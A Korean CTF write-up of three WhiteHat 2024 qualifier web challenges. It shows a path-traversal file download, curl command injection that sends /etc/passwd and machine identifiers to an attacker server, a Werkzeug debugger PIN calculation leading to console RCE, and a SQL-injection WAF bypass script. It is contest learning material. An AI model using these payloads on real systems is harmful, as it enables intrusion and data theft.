WhiteHat 2024 Qual
WhiteHat 2024 Qual
대회 일정
2024-10-19 09:00 ~ 2024-10-19 21:00
대회 후기
WhiteHat 2024 병사부문으로 참여해 우리팀은 Web 3문제, Misc 2문제, Forensic 1문제를 해결해 예선 4등을 했다. 웹은 3문제가 출제되었고, 대회 당시 3문제 모두 해결했다. 올솔은 처음이라 … 감회가 새로웠던 것 같다.
Writeup
vuln-C&C
문제 설명에서 /download?filename=main.css
파일 다운로드 경로를 알려주고 URL을 제공해주었다. 소스코드는 따로 없었기에 LFI로 파일을 릭해야했다.
팀원(@DevDori)이 http://13.125.226.130:10002/download?filename=../app.py
요청을 통해 app.py 파일을 릭했다.
from flask import Flask, render_template, abort, request, abort, send_file
from pathlib import Path
import os
import datetime as dt
app = Flask(__name__)
app.secret_key = os.urandom(128).hex()
def getReadableByteSize(num) -> str:
for unit in ['', 'K', 'M', 'G', 'T', 'P', 'E', 'Z']:
if abs(num) < 1024.0:
if num == int(num):
return "%d%s" % (int(num), unit)
else:
return "%3.1f%s" % (num, unit)
num /= 1024.0
if num == int(num):
return "%d%s" % (int(num), unit)
else:
return "%.1f%s" % (num, 'Y')
def getTimeStampString(tSec: float) -> str:
tObj = dt.datetime.fromtimestamp(tSec)
tStr = dt.datetime.strftime(tObj, '%Y-%m-%d %M:%S')
return tStr
@app.route('/')
def index():
return render_template("index.html")
@app.route('/', defaults={'reqPath': ''})
@app.route('/<path:reqPath>')
def directory_listing(reqPath):
FolderPath = app.root_path
absPath = os.path.join(FolderPath, reqPath)
if not os.path.exists(absPath):
return abort(404)
def fObjFromScan(x):
fileStat = x.stat()
return {'name': x.name,
'relPath': os.path.relpath(x.path, FolderPath).replace("\\", "/"),
'mTime': getTimeStampString(fileStat.st_mtime),
'size': getReadableByteSize(fileStat.st_size),
'isdir': os.path.isdir(x.path),
}
if os.path.isdir(absPath):
fileObjs = [fObjFromScan(x) for x in os.scandir(absPath)]
else:
abort(404)
parentFolderPath = os.path.relpath(
Path(absPath).parents[0], FolderPath).replace("\\", "/")
return render_template('list.html', data={'files': fileObjs, 'parentFolder': parentFolderPath, 'req_path': request.path})
@app.route('/download', methods=['GET'])
def download():
filename = request.args.get('filename')
if not filename:
abort(400)
file_path = os.path.join('static', filename)
if not os.path.isfile(file_path):
return abort(404)
return send_file(file_path, as_attachment=True)
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000)
디렉터리 리스팅 취약점이 존재하여 경로를 조작하며 flag 파일 찾기를 했다. /proc/self/environ
, /app
의 subdirectory들을 찾아보았는데도 없었다.
팀원(@DevDori)분이 /root
디렉터리에 ZIP 파일 형태의 플래그를 찾았고, ZIP 파일 내부에 플래그가 있었다. (따라가느라 급급…)
Exploit Code
http://13.125.226.130:10002/download?filename=../../../../../../../../root/flag-c368132241ec56040bdd.zip
Flag
whitehat2024{1330E4DE5DD8DF533D8D5C5388420249E71135B7}
KTEC-admin-dashboard
굉장히 삽질을 많이한 문제 …
http://13.125.199.169:10001/admin/system
페이지에 ping, curl, view log 기능들이 존재했다. 여기서 팀원(@DevDori)이 ifconfig.me | curl http://server_ip:port/
요청을 통해 curl 기능에서 외부로 요청을 보내는 방법을 찾았다.
이후, ifconfig.me || curl -F a=@/etc/passwd http://server_ip:port/
이와 같이 F 옵션을 통해 파일 내용을 가져오는 것을 확인했다. 여기서 서버 파일 내용을 읽어야하는데 guessing으로만 파일 경로를 찾아야해서 삽질을 굉장히 많이했다.
삽질을 하던 중, ifconfig.me || curl -F a=@./../app/__init__.py http://server_ip:port/
요청을 통해 __init__.py
파일을 릭했다.
from flask import Flask
import secrets
import logging
import click
class RemoveColorFilter(logging.Filter):
def filter(self, record):
if record and record.msg and isinstance(record.msg, str):
record.msg = click.unstyle(record.msg)
return True
class DebugPinFilter(logging.Filter):
def filter(self, record):
return 'Debugger PIN' not in record.getMessage() and '/console' not in record.getMessage()
def create_app():
app = Flask(__name__)
app.secret_key = secrets.token_hex()
logger = app.logger
logger.setLevel(logging.DEBUG)
file_handler = logging.FileHandler("logs/server.log", encoding='utf-8')
logger = logging.getLogger('werkzeug')
logger.setLevel(logging.INFO)
logger.propagate = False
logger.addHandler(file_handler)
logger.addFilter(DebugPinFilter())
logger.addFilter(RemoveColorFilter())
from views import index, admin
app.register_blueprint(index.bp)
app.register_blueprint(admin.bp)
return app
if __name__ == "__main__":
app = create_app()
app.run(host="0.0.0.0", threaded=True, debug=True, port=5000)
__init__.py
파일을 통해 views/index
, views/admin
경로가 존재한다는 것을 알아냈다. 추가적으로, 디버그 모드에서 실행 중임을 확인했다.
이후, ifconfig.me || curl -F a=@./../app/views/admin.py http://server_ip:port/
요청을 통해 admin.py
파일까지 릭했다.
from flask import Blueprint, render_template, request, redirect, url_for, session, abort, flash
from urllib.parse import urlparse
import subprocess
import socket
import ipaddress
socket.setdefaulttimeout(2)
bp = Blueprint('admin', __name__, url_prefix='/admin')
@bp.route('/', methods = ['GET', 'POST'])
def admin():
username = session.get('username')
if username == "superadmin":
return redirect(url_for('admin.dashboard'))
if request.method == 'POST':
username = request.form['user']
password = request.form['pass']
if username == "superadmin" and password == "superadmin":
session['username'] = username
return redirect(url_for('admin.dashboard'))
else:
flash("Invalid username/password")
return redirect(url_for('admin.admin'))
return render_template('admin.html')
@bp.route('/dashboard', methods = ['GET'])
def dashboard():
username = session.get('username')
if username != 'superadmin':
return abort(404)
return render_template('dashboard.html')
@bp.route('/system', methods = ['GET'])
def system():
username = session.get('username')
if username != 'superadmin':
return abort(404)
return render_template('system.html')
@bp.route('/logout')
def logout():
session.pop('username', None)
return redirect(url_for('main.index'))
@bp.route('/read', methods = ['POST'])
def read():
filename = request.form.get('filename')
try:
with open(filename, 'r', encoding='UTF8') as file:
return render_template('system.html', log_content=file.read())
except FileNotFoundError:
abort(404)
else:
abort(403)
@bp.route('/ping', methods = ['POST'])
def ping():
ip = request.form.get('ip')
if not ip:
abort(404)
result = subprocess.run(['ping', '-c', '2', ip], capture_output=True, text=True)
return render_template('system.html', ping_result=result.stdout)
@bp.route('/curl', methods = ['POST'])
def curl():
url = request.form.get('url')
if not url:
curl_result = 'URL is required'
return render_template('system.html', curl_result=curl_result)
if not url.startswith("ifconfig.me"):
curl_result = 'error'
return render_template('system.html', curl_result=curl_result)
for i in url.split():
if i.startswith("file://"):
curl_result = 'fail...'
return render_template('system.html', curl_result=curl_result)
if not i.startswith(('http://', 'https://')):
i = i = '//' + i
parsed_url = urlparse(i)
netloc = parsed_url.netloc
if ':' in netloc:
netloc = netloc.split(':')[0]
try:
ip = socket.gethostbyname(netloc)
except:
ip = None
try:
if ipaddress.ip_address(ip) in ipaddress.ip_network('127.0.0.0/8') or ipaddress.ip_address(ip) in ipaddress.ip_network('172.0.0.0/8') or ip == "0.0.0.0":
curl_result = 'fail...'
return render_template('system.html', curl_result=curl_result)
except:
pass
curl_command = ['curl']
curl_command += url.split()
try:
curl_result = subprocess.run(curl_command, capture_output=True, encoding='utf-8', timeout=2)
except:
curl_result = "timeout error"
return render_template('system.html', curl_result=curl_result)
return render_template('system.html', curl_result=curl_result.stdout)
Flask Debug 모드에서 동작하는 것을 통해 PIN 번호를 구한 후, /console
에 접근해서 RCE 하는 형태임을 짐작할 수 있었다. 하지만, /console
접근을 하려니 Bad Request가 뜨면서 접근이 되지 않았다. 삽질을 하다가 curl
을 통해 /console
에 접근해야함을 알게 되었다.
하지만, ipaddress
모듈을 통해 호스트가 사설 IP인지 검증하는 로직이 있어 이를 우회해줘야했다. 그래서, http://domain@localhost:5000
형태로 호스트를 우회해서 요청을 보내니 Bad Request가 뜨지 않는 것을 확인했다. 이제 RCE를 위해 PIN 값을 구해야했다.
ifconfig.me || curl -F a=@/proc/sys/kernel/random/boot_id http://server_ip:port/
ifconfig.me || curl -F a=@/sys/class/net/eth0/address http://server_ip:port/
요청을 통해 machine id 값과 mac address 값을 알아냈다.
import hashlib
from itertools import chain
probably_public_bits = [
'roronoa', # username
'flask.app',# modname 고정
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__')) 고정
'/usr/local/lib/python3.10/site-packages/flask/app.py'
]
private_bits = [
'2485377957890', # 02:42:ac:12:00:02
'5ccbbc99-51c3-4aff-92ad-64e67a5b59ba' # get_machine_id()
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode()
h.update(bit)
h.update(b"cookiesalt")
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
PIN 코드를 생성하는 페이로드를 작성했고, 실행하니 852-347-138 PIN 값을 얻을 수 있었다.
Exploit Code
-
PIN 인증
ifconfig.me -i http://13.125.199.169:10001@127.0.0.1:5000/admin?__debugger__=yes&cmd=pinauth&pin=852-347-138&s=gsiLCDxuAQWX7VNi50Zp
PIN 인증 후, 응답 헤더에서 쿠키 값을 얻을 수 있다.
-
RCE
ifconfig.me -b __wzd6c64e3debe8f9d33596f=1729317583|1d9816665d29 http://13.125.199.169:10001@127.0.0.1:5000/console?__debugger__=yes&cmd=__import__(%22os%22).popen(%22/readflag%22).read();&frm=0&s=gsiLCDxuAQWX7VNi50Zp
PIN 인증을 통해 얻은 쿠키 값을 포함시켜
/console
에 명령을 보내면 실행이 되어 플래그를 얻을 수 있다.
Flag
whitehat2024{951012d6cf1cb753bdf49921fdfa9d7f50f154940a88d22770549ebe0ebb179edffce9d1682968e1c4730876470185a4e34e94}
KTEC-admin-main
from flask import Blueprint, render_template, session, abort, request, redirect, url_for, flash
from core.check import loose_waf, strict_waf
from db import dbConnection
bp = Blueprint('admin', __name__, url_prefix='/admin')
@bp.route('/', methods = ['GET', 'POST'])
def admin():
username = session.get('username')
if request.method == 'POST':
username = request.form['user']
password = request.form['pass']
if strict_waf(username):
return abort(400)
if loose_waf(password):
return abort(400)
connection = dbConnection()
try:
with connection.cursor() as cursor:
cursor.execute(f"SELECT * FROM users WHERE username='{username}' AND password='{password}'")
// SELECT * FROM users WHERE username=''
user = cursor.fetchone()
if user:
session['username'] = user['username']
if session.get('username') == 'superadmin':
return render_template("flag.html")
else:
flash("hello admin!!")
return redirect(url_for('admin.admin'))
else:
flash("Invalid username/password")
return redirect(url_for('admin.admin'))
except Exception:
flash("Invalid username/password")
return redirect(url_for('admin.admin'))
finally:
if connection:
connection.close()
return render_template('admin.html')
@bp.errorhandler(400)
def handle_400_error(_):
return render_template('400.html'), 400
/admin/
경로에서 POST 요청을 보내 superadmin
계정으로 로그인해야한다. 코드를 통해 SQL Injection 취약점이 존재하는 것을 알 수 있었고, 필터링이 걸려있어 필터링 코드를 보았다.
loose_keywords = [
'union', 'sleep(', 'select', 'from', 'and',
'or', 'superadmin', 'if', 'having', '=', '>',
'<',' ', '*', '/', '\n', '\r', '\t', '\x0b',
'\x0c', '-', '+', '|', '&', '#'
]
strict_keywords = ['superadmin', '\'']
def loose_waf(data):
for keyword in loose_keywords:
if keyword in data.lower():
return True
return False
def strict_waf(data):
for keyword in strict_keywords:
if keyword in data.lower():
return True
return False
여러 특수문자와 키워드들을 필터링하고 있다. superadmin
계정에 로그인하기 위해 init.sql
을 살펴보았다.
CREATE TABLE users (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(80) NOT NULL,
password VARCHAR(120) NOT NULL,
create_time TIMESTAMP DEFAULT CURRENT_TIMESTAMP
) ENGINE = InnoDB
DEFAULT CHARSET = utf8mb4
COLLATE = utf8mb4_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
INSERT INTO users (username, password) VALUES ('admin', '**redact**');
INSERT INTO users (username, password) VALUES ('superadmin', '**redact**');
CREATE USER IF NOT EXISTS 'guest'@'%' IDENTIFIED BY 'guest';
GRANT SELECT,INSERT ON user_db.* TO 'guest'@'%';
FLUSH PRIVILEGES;
admin
, superadmin
두 계정이 존재함을 알 수 있었고, 이후 SQL Injection을 시도했다.
가장 먼저 했던 부분은 주석을 사용할 수 없기 때문에 이를 우회할 방법을 찾았다.
https://github.com/payloadbox/sql-injection-payload-list
위 사이트에서 ;%00
를 통해 쿼리 뒤에 부분을 날릴 수 있음을 알게 되었다.
cur.execute(f"SELECT * FROM users WHERE username='admin' AND password=''='';\x00'") # => O
cur.execute(f"SELECT * FROM users WHERE username='admin' AND password=''=''\x00'") # => X
cur.execute(f"SELECT * FROM users WHERE username='admin' AND password=''='';'") # => X
실제로 수행되는지 확인하기 위해 로컬환경을 구축하였다. 세미콜론(;)에 의해 뒤에 부분이 무시되는건지 테스트 해봤는데 ;
과 \x00
를 함께 사용해야만 뒤에 부분이 무시되는 것을 확인할 수 있었다.
이후, 삽질 좀 하며 연산 종류에 대해 찾아보다가 XOR (^)
를 찾게 되었고, ^();\x00
형태에서 변조해가며 SQL Injection을 시도했다.
도커에서 확인해보니 ()
안에 값에 따라 결과가 달라는 것을 확인했다.
이후, username
에 \\
을 넣어 username에 '
를 single quote로 인식하게 만들어 username
이 \' AND password=
가 되도록 했다. password
는 ^((id)like'1');\x00
를 넣어 id가 1인 row 가져와 XOR하여 전체 조회가 될 때 id가 1이 아닌 row 값들을 가져오도록 했다. 그래서, id가 2인 superadmin
계정에 로그인하여 플래그를 얻을 수 있었다.
Exploit Code
import requests
url = "http://3.35.238.142:10000/"
r = requests.post(
f"{url}/admin/",
data={
"user": "\\",
"pass": "^((id)like'1');\x00"
},
)
print(r.text)
Flag
whitehat2024{33cf81dea77e750c5cf81e507cbe8e9f54f0691ce3c8f72e89a92863d095b72063acba1938afd9704ed15e94fcdfaf29747cf2}